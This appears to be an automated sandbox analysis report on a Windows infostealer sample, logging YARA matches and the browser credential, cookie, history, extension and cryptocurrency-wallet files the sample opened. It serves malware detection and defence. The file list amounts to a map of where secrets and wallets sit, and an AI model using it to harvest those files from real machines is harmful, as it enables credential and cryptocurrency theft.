Source: Yara match	File source: 00000005.00000002.2116005782.00000000003A1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2075796995.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe PID: 8076, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
